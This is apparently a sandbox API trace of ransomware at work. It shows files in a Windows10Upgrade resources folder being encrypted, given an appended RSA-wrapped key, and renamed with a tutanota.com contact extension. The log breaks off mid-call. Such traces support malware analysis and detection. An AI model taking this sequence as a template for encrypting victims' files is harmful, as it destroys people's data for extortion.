RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ec68 [0151.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0151.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec68 | out: hHeap=0x570000) returned 1 [0151.107] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.107] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=493) returned 1 [0151.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ed) returned 0x57eca8 [0151.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ed) returned 0x5c1ce8 [0151.107] ReadFile (in: hFile=0x638, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ed, lpOverlapped=0x0) returned 1 [0151.108] SetFilePointer (in: hFile=0x638, lDistanceToMove=-493, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.108] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x1ed, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ed, lpOverlapped=0x0) returned 1 [0151.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0151.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.108] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ed [0151.109] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.109] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.109] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.109] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.109] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.109] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Nbt5I+D/3wJFoWgmFymNxvOmUjXaXoGfumcberFQ4RyLraWpLZPCsy6F3z6ANVXh\naYDcyp9CaHHbTFeaNzVZiITkwfKBSyaIKMylEYj8Pj2wuXZjHtzGYIjhktv8nye7\nfvYrazfxyX+ETrvWC6kv/GNQVJQECAlk3Pnu0BgI+FLYFDvqY7YvL73OdewTIBLu\nYRQUwRwdvLdhz7Brfivl/FbQPH8s+BBPHJq3o6jU5V/qrFcoDM4izTtSn4iEDrwT\n6G08XgSthLuJZjYi8onm5fkAyHR4vbe+SJ5Ow+xfxTUDE7pnnfkcluYXnDZXIXAJ\nx9FzfNsEHuOiQLWqziPlUQ==\n", pcchString=0x2e3f9a8) returned 1 [0151.109] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.111] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.111] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.111] CloseHandle (hObject=0x638) returned 1 [0151.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.112] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0151.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0151.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac8 | out: hHeap=0x570000) returned 1 [0151.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e990 | out: hHeap=0x570000) returned 1 [0151.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0151.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0151.113] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.113] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\logo.png", dwFileAttributes=0x80) returned 1 [0151.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0151.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0151.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0151.114] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.114] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2611) returned 1 [0151.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa33) returned 0x6518a0 [0151.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa33) returned 0x6522e0 [0151.114] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0xa33, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0xa33, lpOverlapped=0x0) returned 1 [0151.149] SetFilePointer (in: hFile=0x638, lDistanceToMove=-2611, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.149] WriteFile (in: hFile=0x638, lpBuffer=0x6522e0*, nNumberOfBytesToWrite=0xa33, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6522e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa33, lpOverlapped=0x0) returned 1 [0151.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6522e0 | out: hHeap=0x570000) returned 1 [0151.150] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa33 [0151.150] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.150] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.150] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.150] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ReH6c3Z2QImJ8bZDYrPSSqwT8j2foSfVx1ESJVYKqLaxYJp2SMXkK96xMBt3hxLM\nW5HUDYds3wqKsp1H6QlxyTqReDPf+qpDVV2i4wVpGeHLXtJJ7kW9hBlFLt0pI5KS\nAhTgBstacfl45mGknMPrG7jUIBEWOT+9npAnaWvEfRb5UvmFisRonhvrQNYvCbro\nxI3sL1n/8Xwe7yqfe4QBp8ESF2KMviRZeF+uU/jb3MfqDvZsgk14VQPRejr/mDLp\nucA1xq8KfQgLNOTWuGbewhQehAx1Oc90+qzlPEx6NvfJHx7ka4Yl/b7URoMMoyaY\nIF/3Spg+jFgvtdMB4u1WhQ==\n", pcchString=0x2e3f9a8) returned 1 [0151.150] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.150] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.151] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.151] CloseHandle (hObject=0x638) returned 1 [0151.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.151] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\logo.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0151.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0151.155] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0151.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0151.155] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0151.155] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.155] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\lock.png", dwFileAttributes=0x80) returned 1 [0151.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0151.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0151.156] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0151.156] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.156] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3677) returned 1 [0151.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe5d) returned 0x6518a0 [0151.156] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe5d) returned 0x652708 [0151.156] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0xe5d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0xe5d, lpOverlapped=0x0) returned 1 [0151.157] SetFilePointer (in: hFile=0x638, lDistanceToMove=-3677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.157] WriteFile (in: hFile=0x638, lpBuffer=0x652708*, nNumberOfBytesToWrite=0xe5d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652708*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe5d, lpOverlapped=0x0) returned 1 [0151.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.157] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652708 | out: hHeap=0x570000) returned 1 [0151.157] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe5d [0151.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.158] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.158] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.158] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.158] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.158] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.158] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="uLHrRarGAofUr9JZ7a8eSyu+Fu7TTj4CtuLBcEaFS5MDwpy980PrNlRdS02r+WDH\ntXoN9h2xKLRA2FLlroVxz8FwXtUBNudf8U3E/03lofwH9Pw2SnudvNMNgs6DP7LP\n8qyWkMXZreFLLsbz0r2ZLUKtOjITtb1aovU8eu7uIX1A/eLDo7+cYyYsdAHcr/Aa\nRrKs4G8SqH2zRR+Qky3hFS2UcizqgnMAZfvOu32wjz9ylmM0mMMPr2w9LRHTKbUG\ntzd/wrjC4UFVwUlM1+AEonTq6VrDCgdtKJlLBiHqZZpju6wkD3qCPxoG/vogV8+/\nAkuMgfZfFqqlh80X+sVbnw==\n", pcchString=0x2e3f9a8) returned 1 [0151.158] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.158] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.158] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.158] CloseHandle (hObject=0x638) returned 1 [0151.158] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.158] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\lock.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0151.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0151.159] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0151.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eda0 [0151.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0151.160] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.160] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif", dwFileAttributes=0x80) returned 1 [0151.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58ed38 [0151.160] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0151.160] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed38 | out: hHeap=0x570000) returned 1 [0151.160] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.160] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17395) returned 1 [0151.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x43f3) returned 0x6518a0 [0151.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x43f3) returned 0x655ca0 [0151.161] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x43f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x43f3, lpOverlapped=0x0) returned 1 [0151.175] SetFilePointer (in: hFile=0x638, lDistanceToMove=-17395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.175] WriteFile (in: hFile=0x638, lpBuffer=0x655ca0*, nNumberOfBytesToWrite=0x43f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x655ca0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x43f3, lpOverlapped=0x0) returned 1 [0151.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655ca0 | out: hHeap=0x570000) returned 1 [0151.176] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x43f3 [0151.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.176] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="caq8DGhuzOp7RGsCXJlMUD3SMCLqtnDHmjcRmYdv++3DtEWFx2NlZaYqteMka23x\nFWdgJCziXkTg0h/j8mGIVxMUb04gRqnkhhGucUdKjKmkp1NAWFvub6/1B0irFFQO\nqcxHVowy5u1pJqL4h0NVmdSAvQM+UGd24pTH+VuipDmIGL6+37/2M0NtlEAGDezA\nqsIYume4E1mEpp5r8kftDwK4eqK0FYMPpR7HyjO3H04tmlFhxw7owRrleMSJFxO3\nOTOfdqgzkXSDjTUYNjUFicSOWU8hbKCADDVDLTVBTwIIhGrKoRMPKINKrAI9MC81\nhJQ8zCaRYedUrgPxxxf2Jw==\n", pcchString=0x2e3f9a8) returned 1 [0151.176] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.176] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.176] CloseHandle (hObject=0x638) returned 1 [0151.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.176] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\loading.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0151.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0151.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eda0 | out: hHeap=0x570000) returned 1 [0151.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e928 | out: hHeap=0x570000) returned 1 [0151.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0151.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0151.178] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.178] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png", dwFileAttributes=0x80) returned 1 [0151.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0151.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0151.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0151.178] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.178] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4067) returned 1 [0151.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe3) returned 0x6518a0 [0151.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe3) returned 0x652890 [0151.179] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0xfe3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0xfe3, lpOverlapped=0x0) returned 1 [0151.180] SetFilePointer (in: hFile=0x638, lDistanceToMove=-4067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.180] WriteFile (in: hFile=0x638, lpBuffer=0x652890*, nNumberOfBytesToWrite=0xfe3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652890*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfe3, lpOverlapped=0x0) returned 1 [0151.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652890 | out: hHeap=0x570000) returned 1 [0151.180] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfe3 [0151.180] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.180] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, 